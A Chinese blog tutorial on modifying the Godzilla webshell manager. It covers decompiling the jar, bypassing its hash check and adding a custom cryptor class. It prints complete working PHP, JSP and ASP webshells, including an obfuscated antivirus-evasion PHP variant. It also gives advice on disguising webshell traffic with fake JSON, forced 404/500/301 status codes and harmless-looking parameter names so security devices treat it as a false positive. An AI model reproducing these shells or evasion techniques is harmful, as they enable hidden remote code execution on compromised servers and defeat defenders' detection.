最近学习了一下冰蝎和哥斯拉的二开,但也只是学习了一丢丢皮毛,这里记录一下。
准备 php5.2 php7.4 java 1.8
准备工作,这里还是建议使用idea,我用vscode 调,第一步配环境就给我卡死了,调了很久都没有调明白,太菜了。
首先致敬一下原版哥斯拉,原版地址https://github.com/BeichenDream/Godzilla
我们这里使用的最新的v4.0.1-godzilla 版本,进行逆向及二开。
反编译网址,https://www.decompiler.com/,直接拖入jar包即可,很方便。
当然也可以使用idea的插件进行反编译,都一样。
ok开始
环境搭建 先改个名称试试看
下载好原版哥斯拉,然后拖到反编译网站,反编译完成后会看到一个压缩包,解压。
然后新建一个lib目录,将原版的godzilla拖进去,在将刚刚反编译后的目录拖到项目目录下
接着建立依赖关系。
settings->Project Structure
然后设置依赖添加我们上面lib里的哪个原版jar包,并且选中,这里笔者建议用jdk1.8,我用java15好像不太行
接着添加主类,
走到这一步,我们会发现,并没有其他大佬文章中说的有ui里的那个主类,是因为少了一部。
我们接着要将反编译的src\META-INF/MANIFEST.MF源文件,放到src下面,注意路径。
然后同样复制decompiled_src/core/ui/MainActivity.java文件到src目录下
这样即可
接着添加主类,
即可。
改标题 现在就可以编译了,我们先简单的改一下标题。
复制一份文件,godzilla的标题在core/MainActivity.java复制src/core/MainActivity.java,没有的目录要创建一下。目录一定要对齐。这里一定要清楚,不要在原版的那个和编译的那些文件里改,想改什么,把目录对齐,创建复制文件。
欧克,接下来编译
先build project
在build artifacts build
编译完成后,在项目目录下面的out/artifacts/下面就会有编译好的godzilla
接着就会发现出现hash错误,接着改,
在core/ApplicationConfig.java复制到
src/core/ApplicationConfig.java,
将中间的四行对比注释掉即可。
然后重新build。重新artifacts编译即可。
ok,没有问题。笔者这里并没有经过作者的同意去二开,和验证。奈何我太菜,联系不到大佬,如果有侵权,留个言删除。
全局改造 我们知道,godzilla和Behinder都有一些强特征,我们可以加一下混淆或者简单改改。
在/core/ui/component/frame/ShellSetting.java的文件中,
大概290行,设置一下ua,
直接给他写死,这样的话既可以每次打开不用自己改了。
还有下面的,
1 2 this.leftTextArea.setText("page=1&size=10&"); this.rightTextArea.setText("&Name=manager");
左右追加数据,我们也给他写死,这样,就不用每次写了。
ok,比较方便,当然这里你想加什么都可以,这里只是添加一些参数。
然后是一个请求体的修改,在其他大师傅的文章中看到,
就是这个请求包中cookie中有分号,这是一个强特征,这里咱们没有办法验证,听就行了,给他去掉,
笔者改的哥斯拉版本在src\util\http\HttpResponse.java下,
默认是``cookies.forEach(cookie -> sb.append(String.format(“ %s=%s;”, cookie.getName(), cookie.getValue())));`
去掉;即可。打包编译。
ok,没有任何问题。
godzilla 结构 没开始之前咱们先看下一Godzilla的shell大概构造
在shell目录下,有三个目录,一个是加密 解密模块,也就是发送的payload的在本地加密,发送,从客户端解密返回给用户,payload就是各种功能,比如读取,上传,文件、数据库的操作等等,plugins很好理解,就是各种语言的插件,bypassdisable_function,提权,压缩,内存马等等。
这里说一个shell目录,shell目录下有各种语言的shell,每个语言下有一个Generate.java文件,他是用来生成godzilla木马的框架。然后就是要生成木马。我们点开lib目录下的godzilla.jar,然后是shell php下面的
这些*.bin对应的是这个生成的加密器。也就是xor base64啥的
相应的下面三个是加密 解密数据包的代码。其他的语言也大差不差。
这就是godzilla shell方面大致的理解,目前二开godzilla用到这些就够了。其实是其他的我也不太懂。
php 好的,接下来我们开始改流量,先从php开始。
我们先来看最原版的一句话木马,这里说一下,godzilla是支持一句话木马的。有好多同学面试的时候被问到godzilla支不支持一句话,好多同学不知道。其实他是支持。
好,先来看一句话的加密器是 PHP_EVAL_XOR_BASE64,他生成的木马就是一句话<?php eval($_POST[“pass”]);
接着我们看对应的代码,在generate中,判断有没有bin文件,然后替换pass key
eval的🐎。如果这个,我们像上面一样,在src目录下新建文件,一样可以替换掉的。
然后是payload发送,在phpevalxor.java代码中,可以看到具体代码,比如异或,base64,传参等。
大家可以读读代码。
好,这里我们不去改变原有的代码,我们新加一个加密器。改的是xor然后base64的加密器。
好 我们先来打包看看
没有问题,godzillaxor base64的木马是这样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php @session_start(); @set_time_limit(0 ); @error_reporting(0 ); function encode ($D ,$K ) { for ($i =0 ;$i <strlen($D );$i ++) { $c = $K [$i +1 &15 ]; $D [$i ] = $D [$i ]^$c ; } return $D ; } $pass ='pass' ;$payloadName ='payload' ;$key ='3c6e0b8a9c15224a' ;if (isset ($_POST [$pass ])){ $data =encode(base64_decode($_POST [$pass ]),$key ); if (isset ($_SESSION [$payloadName ])){ $payload =encode($_SESSION [$payloadName ],$key ); if (strpos($payload ,"getBasicsInfo" )===false ){ $payload =encode($payload ,$key ); } eval ($payload ); echo substr(md5($pass .$key ),0 ,16 ); echo base64_encode(encode(@run($data ),$key )); echo substr(md5($pass .$key ),16 ); }else { if (strpos($data ,"getBasicsInfo" )!==false ){ $_SESSION [$payloadName ]=encode($data ,$key ); } } }
在代码中,我们可以看到,
eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16);
发送的数据报为输出pass和key的md5值前十六位,数据异或的值,接着输出后十六位
这是原版的请求流量,也不是原版
原版是这样的,我们刚刚定死了左右添加数据。
回显包,看到MD5前16 返回值异或 和后16位。
这里发送的包暂时不改了,因为发送的包改的话需要改发送的payload,返回包改了。
在返回包的代码中有一个函数,传递了this.findStrLeft, this.findStrRight,也就是上面定义的
md5的前后16位,ctrl+submiddlestr 会发现,就是将左边的数据,加返回的数据,加16位后数据
ok,我们给他变下型,
左右追加数据注释掉,然后添加一个返回信息。json格式。
我们的木马中,可以看到是输出的MD5,这样肯定不行,我们给他改一下,改成符合我们的加密方式的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php @session_start(); @set_time_limit(0 ); @error_reporting(0 ); function encode ($D ,$K ) { for ($i =0 ;$i <strlen($D );$i ++) { $c = $K [$i +1 &15 ]; $D [$i ] = $D [$i ]^$c ; } return $D ; } $pass ='pass' ;$payloadName ='payload' ;$key ='3c6e0b8a9c15224a' ;if (isset ($_POST [$pass ])){ $data =encode(base64_decode($_POST [$pass ]),$key ); if (isset ($_SESSION [$payloadName ])){ $payload =encode($_SESSION [$payloadName ],$key ); if (strpos($payload ,"getBasicsInfo" )===false ){ $payload =encode($payload ,$key ); } eval ($payload ); echo "{\"message\":\"" ;echo base64_encode(encode(@run($data ),$key ));echo "\"}" ; }else { if (strpos($data ,"getBasicsInfo" )!==false ){ $_SESSION [$payloadName ]=encode($data ,$key ); } } }
好,在看下流量
返回包
嘿,是不是有那味了。
在php中,我们可以让返回包强制404,只需在🐎里面添加http_response_code(404);即可
顺便我把pass改成了search,这样再看下数据包。
这样的话,我们的流量状态码就是404了,是不是猛一看,还真不好分辨,如果是新手的话,可能看设备的时候都直接略过点误报了。
当然,你可以改成任何你喜欢的数字。
发送包的pass 因为是传递键,所以我建议生成的时候,还是用一些单词,这样更有迷惑性。
返回值这个fL1tMGI4YTlj有的安全设备,也被定义为危险字符,因为返回值要异或key,所以key在生成的时候也不能用默认,简单改一改。
ok做戏要做全套,我们不能每次用的时候需要,来到文章拿代码,godzilla也是好用在这里。直接工具中生成,对我这种萌新比较友好。
接下来,我们来看怎么在godzilla中生成木马。
php的generate的代码中确定了用到那个bin文件,
加密器中也会判断isbin?,那我们仿照eval的加密器写,
直接定死或者bin文件即可。
创建文件,格式对齐。别写错了。
最下面改一改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 package shells.cryptions.phpXor;import core.annotation.CryptionAnnotation;import core.imp.Cryption;import core.shell.ShellEntity;import java.net.URLEncoder;import util.Log;import util.functions;import util.http.Http;@CryptionAnnotation( Name = "PHP_XOR_BASE64_MESSAGES", payloadName = "PhpDynamicPayload" ) public class PhpXormessage implements Cryption { private ShellEntity shell; private Http http; private byte [] key; private boolean state; private String pass; private byte [] payload; private String findStrLeft; private String findStrRight; public PhpXormessage () { } public void init (ShellEntity context) { this .shell = context; this .http = this .shell.getHttp(); this .key = this .shell.getSecretKeyX().getBytes(); this .pass = this .shell.getPassword(); String findStrMd5 = functions.md5(this .pass + new String(this .key)); this .findStrLeft = "{\"message\":\"" ; this .findStrRight = "\"}" ; try { this .payload = this .shell.getPayloadModule().getPayload(); if (this .payload != null ) { this .http.sendHttpResponse(this .payload); this .state = true ; } else { Log.error("payload Is Null" ); } } catch (Exception var4) { Exception e = var4; Log.error(e); } } public byte [] encode(byte [] data) { try { return this .E(data); } catch (Exception var3) { Exception e = var3; Log.error(e); return null ; } } public byte [] decode(byte [] data) { if (data != null && data.length > 0 ) { try { return this .D(this .findStr(data)); } catch (Exception var3) { Exception e = var3; Log.error(e); return null ; } } else { return data; } } public boolean isSendRLData () { return true ; } public byte [] E(byte [] cs) { int len = cs.length; for (int i = 0 ; i < len; ++i) { cs[i] ^= this .key[i + 1 & 15 ]; } return (this .pass + "=" + URLEncoder.encode(functions.base64EncodeToString(cs))).getBytes(); } public byte [] D(String data) { byte [] cs = functions.base64Decode(data); int len = cs.length; for (int i = 0 ; i < len; ++i) { cs[i] ^= this .key[i + 1 & 15 ]; } return cs; } public String findStr (byte [] respResult) { String htmlString = new String(respResult); return functions.subMiddleStr(htmlString, this .findStrLeft, this .findStrRight); } public boolean check () { return this .state; } public byte [] generate(String password, String secretKey) { return (new String(functions.readInputStreamAutoClose(PhpXormessage.class.getResourceAsStream("template/xorbase64message.bin" )))).replace("{pass}" , password).replace("{secretKey}" , functions.md5(secretKey).substring(0 , 16 )).getBytes(); } }
然后bin文件写好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php http_response_code(404 ); @session_start(); @set_time_limit(0 ); @error_reporting(0 ); function encode ($D ,$K ) { for ($i =0 ;$i <strlen($D );$i ++) { $c = $K [$i +1 &15 ]; $D [$i ] = $D [$i ]^$c ; } return $D ; } $pass ='{pass}' ;$payloadName ='payload' ;$key ='{secretKey}' ;if (isset ($_POST [$pass ])){ $data =encode(base64_decode($_POST [$pass ]),$key ); if (isset ($_SESSION [$payloadName ])){ $payload =encode($_SESSION [$payloadName ],$key ); if (strpos($payload ,"getBasicsInfo" )===false ){ $payload =encode($payload ,$key ); } eval ($payload ); echo "{\"message\":\"" ; echo base64_encode(encode(@run($data ),$key )); echo "\"}" ; }else { if (strpos($data ,"getBasicsInfo" )!==false ){ $_SESSION [$payloadName ]=encode($data ,$key ); } } }
ok打包编译,
ok,这里演示已经没有问题了,我们直接做全点,
用一下这个大师傅的项目,https://github.com/Tas9er/ByPassGodzilla
生成一个php的码,封装到里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 <?pHP @session_start(); @set_time_limit(Chr("48" )); @error_reporting(Chr("48" )); function qianxingCgkD21wHn ($qianxinfImnkp0WMq6TX ,$qianxinGYCCVkSDkVAY ) { for ($qianxinhP =Chr("48" );$qianxinhP <strlen($qianxinfImnkp0WMq6TX );$qianxinhP ++) { $qianxinqq = $qianxinGYCCVkSDkVAY [$qianxinhP +Chr("49" )&15 ]; $qianxinfImnkp0WMq6TX [$qianxinhP ] = $qianxinfImnkp0WMq6TX [$qianxinhP ]^$qianxinqq ; } return $qianxinfImnkp0WMq6TX ; } $qianxinITUfjjXmxo2 = "bas" ."e6" .Chr("52" )."_" ."de" ."cod" .Chr("101" );$base64_qianxingCgkD21wHn = "bas" ."e6" .Chr("52" )."_e" .Chr("110" ).Chr("99" )."ode" ;$qianxinw7hJzkKxyi ='{pass}' ;$qianxinuMq5P9IAtT1AwU ='p' .$qianxinITUfjjXmxo2 ($qianxinITUfjjXmxo2 ("WVhsc2IyRms=" ));$qianxin1B ='{secretKey}' ;if (isset ($_POST [$qianxinw7hJzkKxyi ])){ $datqianxin7mlwRjVMRy1A =qianxingCgkD21wHn($qianxinITUfjjXmxo2 ($_POST [$qianxinw7hJzkKxyi ]),$qianxin1B ); if (isset ($_SESSION [$qianxinuMq5P9IAtT1AwU ])){ $qianxinqN =qianxingCgkD21wHn($_SESSION [$qianxinuMq5P9IAtT1AwU ],$qianxin1B ); if (strpos($qianxinqN ,$qianxinITUfjjXmxo2 ($qianxinITUfjjXmxo2 ("WjJWMFFtRnphV056U1c1bWJ3PT0=" )))===false ){ $qianxinqN =qianxingCgkD21wHn($qianxinqN ,$qianxin1B ); } define("qianxinhRs0Ff" ,"//qianxinUJEoZGk\r\n" .$qianxinqN ); eval (qianxinhRs0Ff); echo "{\"message\":\"" ; echo $base64_qianxingCgkD21wHn (qianxingCgkD21wHn(@run($datqianxin7mlwRjVMRy1A ),$qianxin1B )); echo "\"}" ; }else { if (strpos($datqianxin7mlwRjVMRy1A ,$qianxinITUfjjXmxo2 ($qianxinITUfjjXmxo2 ("WjJWMFFtRnphV056U1c1bWJ3PT0=" )))!==false ){ $_SESSION [$qianxinuMq5P9IAtT1AwU ]=qianxingCgkD21wHn($datqianxin7mlwRjVMRy1A ,$qianxin1B ); } } } ` ![image-20240918181736832 ](/images/哥斯拉二开从0 到1 /image-20240918181736832 .png) 换成我们的代码,中间key和pass替换一下。 生成好的php代码即可直接使用。 这里注意一下,如果我们改xorbase的代码,添加的那个文件要扣xorbase64的代码,要不然eval 代码用xorbase64的payload肯定用不了。 笔者这里研究xorraw,没研究明白,只是研究了一丢丢 ![image-20240920180815804 ](/images/哥斯拉二开从0 到1 /image-20240920180815804 .png) 我们这里看下xor 的流量加上message,是不是感觉有点突兀,因为它本身就是xor 的乱码,如果我们在加message感觉有点怪怪的。这里就不加了。(其实是没研究明白,等我在学学) 好接下来我们看jsp的,godzilla默认java的有两种载荷,一种aes-base64,一种是aes-raw,和php一样,不过php是先xor ,可能是php默认开启ssl哪个函数的话,用对称加密吧,java默认有aes,那么就可以直接用了,就通用了。 jsp默认 java-aes-base64 ````jsp <%! String xc="3c6e0b8a9c15224a" ; String pass="pass" ; String md5=md5(pass+xc); class X extends ClassLoader {public X(ClassLoader z){super(z);}public Class Q (byte [] cb ) {return super.defineClass(cb, 0 , cb.length);} }public byte[] x(byte[] s,boolean m){ try {javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES" );c.init(m?1 :2 ,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES" ));return c.doFinal(s); }catch (Exception e){return null ; }} public static String md5(String s) {String ret = null ;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5" );m.update(s.getBytes(), 0 , s.length());ret = new java.math.BigInteger(1 , m.digest()).toString(16 ).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64 ;String value = null ;try {base64=Class .forName("java.util.Base64" );Object Encoder = base64.getMethod("getEncoder" , null ).invoke(base64, null );value = (String )Encoder.getClass().getMethod("encodeToString" , new Class [] { byte[].class }).invoke(Encoder, new Object [] { bs });} catch (Exception e) {try { base64=Class .forName("sun.misc.BASE64Encoder" ); Object Encoder = base64.newInstance(); value = (String )Encoder.getClass().getMethod("encode" , new Class [] { byte[].class }).invoke(Encoder, new Object [] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64 ;byte [] value = null ;try {base64=Class .forName("java.util.Base64" );Object decoder = base64.getMethod("getDecoder" , null ).invoke(base64, null );value = (byte[])decoder.getClass().getMethod("decode" , new Class [] { String .class }).invoke(decoder, new Object [] { bs });} catch (Exception e) {try { base64=Class .forName("sun.misc.BASE64Decoder" ); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer" , new Class [] { String .class }).invoke(decoder, new Object [] { bs });} catch (Exception e2) {}}return value; }%><%try {byte[] data=base64Decode(request.getParameter(pass));data=x(data, false );if (session.getAttribute("payload" )==null ){session.setAttribute("payload" ,new X(this.getClass().getClassLoader()).Q(data));}else {request.setAttribute("parameters" ,data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class )session .getAttribute ("payload ")).newInstance ();f .equals (arrOut );f .equals (pageContext );response .getWriter ().write (md5 .substring (0,16));f .toString ();response .getWriter ().write (base64Encode (x (arrOut .toByteArray (), true )));response .getWriter ().write (md5 .substring (16));} }catch (Exception e ) {} %> ```` ![image-20241009175840339 ](/images/哥斯拉二开从0 到1 /image-20241009175840339 .png) 默认aes流量,这里由于全局设置了前后缀,就直接带了,下面返回包,和phpbase64一样 <img src="/images/哥斯拉二开从0到1/image-20241009180000918.png" alt="image-20241009180000918" /> ![image-20241009181920050 ](/images/哥斯拉二开从0 到1 /image-20241009181920050 .png) 我们先改一下代码。依旧替换一下左右信息 ![image-20241010174148624 ](/images/哥斯拉二开从0 到1 /image-20241010174148624 .png) 然后我们在写两个变量,把前后的md5替换掉就好了。 ![image-20241010174432335 ](/images/哥斯拉二开从0 到1 /image-20241010174432335 .png) 这样就好看一点了,然后我们也把jsp的返回响应包写里面 ![image-20241010174630597 ](/images/哥斯拉二开从0 到1 /image-20241010174630597 .png) 好,写好之后,我们来看一下。404 . ![image-20241011174236574 ](/images/哥斯拉二开从0 到1 /image-20241011174236574 .png) ![image-20241011174043037 ](/images/哥斯拉二开从0 到1 /image-20241011174043037 .png) 没有任何问题,好,接下来,我们看怎么生成的码。 ![image-20241011173910400 ](/images/哥斯拉二开从0 到1 /image-20241011173910400 .png) 从新在generate里面写一个方法,原来的是
public byte[] generate(String password, String secretKey) { return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 我们新写一个方法 ![image-20241011174428716](/images/哥斯拉二开从0到1/image-20241011174428716.png) 然后去到generate文件,copy一个方法,然后加个messsage ![image-20241011174502165](/images/哥斯拉二开从0到1/image-20241011174502165.png) 然后就是把bin文件写好,这里我直接用的大师傅的代码,回头咱们自己改 ![image-20241011174605083](/images/哥斯拉二开从0到1/image-20241011174605083.png) 最后调用的方法写一下就好了。 ![image-20241011174704236](/images/哥斯拉二开从0到1/image-20241011174704236.png) ok,这样就可以直接生成了,测试没啥问题。 我用其他大师傅的二开的,好多都不能生成原版的,这样比较简单生成我们自定义的了。 这里就不该aesraw的了。跟上面原因一样,不好看。(其实就是笔者没研究明白) ##### asp ASP是Active Server Page的缩写,意为“活动服务器网页”。是MicroSoft公司开发的服务器端脚本环境,是一个WEB服务器端的开发环境,利用它可以产生和执行动态的、互动的、高性能的WEB服务应用程序。ASP采用脚本语言VBScript(Javascript)作为自己的开发语言。常用于各种动态网站中。 ASP是一种服务器端脚本编写环境,可以用来创建和运行动态网页或web应用程序。ASP的网页文件的格式是.asp。 asp的我们选用![image-20241012102901818](/images/哥斯拉二开从0到1/image-20241012102901818.png) asp xor base64的改一下。 ![image-20241012103024676](/images/哥斯拉二开从0到1/image-20241012103024676.png) 这是我们的原始流量,长得和上面的差不多, ```asp <% Set bypassDictionary = Server.CreateObject("Scripting.Dictionary") Function Base64Decode(ByVal vCode) Dim oXML, oNode Set oXML = CreateObject("Msxml2.DOMDocument.3.0") Set oNode = oXML.CreateElement("base64") oNode.dataType = "bin.base64" oNode.text = vCode Base64Decode = oNode.nodeTypedValue Set oNode = Nothing Set oXML = Nothing End Function Function decryption(content,isBin) dim size,i,result,keySize keySize = len(key) Set BinaryStream = CreateObject("ADODB.Stream") BinaryStream.CharSet = "iso-8859-1" BinaryStream.Type = 2 BinaryStream.Open if IsArray(content) then size=UBound(content)+1 For i=1 To size BinaryStream.WriteText chrw(ascb(midb(content,i,1)) Xor Asc(Mid(key,(i mod keySize)+1,1))) Next end if BinaryStream.Position = 0 if isBin then BinaryStream.Type = 1 decryption=BinaryStream.Read() else decryption=BinaryStream.ReadText() end if End Function key="3c6e0b8a9c15224a" content=request.Form("pass") if not IsEmpty(content) then if IsEmpty(Session("payload")) then content=decryption(Base64Decode(content),false) Session("payload")=content response.End else content=decryption(Base64Decode(content),true) bypassDictionary.Add "payload",Session("payload") Execute(bypassDictionary("payload")) result=run(content) response.Write("11cd6a") if not IsEmpty(result) then response.Write Base64Encode(decryption(result,true)) end if response.Write("ac826a") end if end if %>
可以看到 最后输出了两个字符串
源payload中也是匹配前六和后六,那么我们顺着他的改一下。
原版代码改一下。
非常ok。我们来改一下回显状态码。
asp的话 我们加这一句话即可
Response.Status = “500 Internal Server Error”
就会强制改回显状态码,
蔽日这里改成a,我们就会强制加个状态码
如果改成404,那么这个文件就不可以使用了
直接就会报错,设置成302就不会报错了,也可以用,但是吧 仔细看的话,感觉有点问题
当然,你可以加一些你喜欢的字符。
好,然后我们用大师傅的免杀,缝合一下。
只需要将生成的马改下格式,然后放在template下即可
此时就能生成了。
生成一个,试一下,
301伪装,emmm,还行吧。asp的先这样。
aspx 接下来时aspx的
其实流程都一样了,这次我们换个单词,就用常见的data吧
至此,简单的二开哥斯拉就完成了,其实也没有改什么,就只是加了前后缀,并且有一些加密类型也没有做更改,只是自己学习一下,简单记录一下。
如果大哥们有自己的免杀马,但是还用俺这个类型的,那么只需要在木马前后输出的地方改成data这种形式就可以了。
下个版本 这里只是改了一丢丢,并没有改流量以及加密方式,只是做了伪装,下个版本我们修改一下加密方式,这样的话会更好一点。而且是抄的其他大师傅的免杀🐎,下回争取的做一下免杀。还有就是message其实是固定的,希望能让他动起来。
下载 https://github.com/Bohemiana/godzilla_erkai
致谢 最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。
参考 1 2 3 https://github.com/BeichenDream/Godzilla 原版哥斯拉 https://mp.weixin.qq.com/s?__biz=MzkxNTUwNjgxOQ==&mid=2247484153&idx=1&sn=67d8b3932714ff0a0ee5745f7049a661&scene=21#wechat_redirect 哥斯拉webshell管理工具二开小记 https://github.com/Tas9er/ByPassGodzilla ByPassGodzilla
总结
emmm 太菜了 一直在路上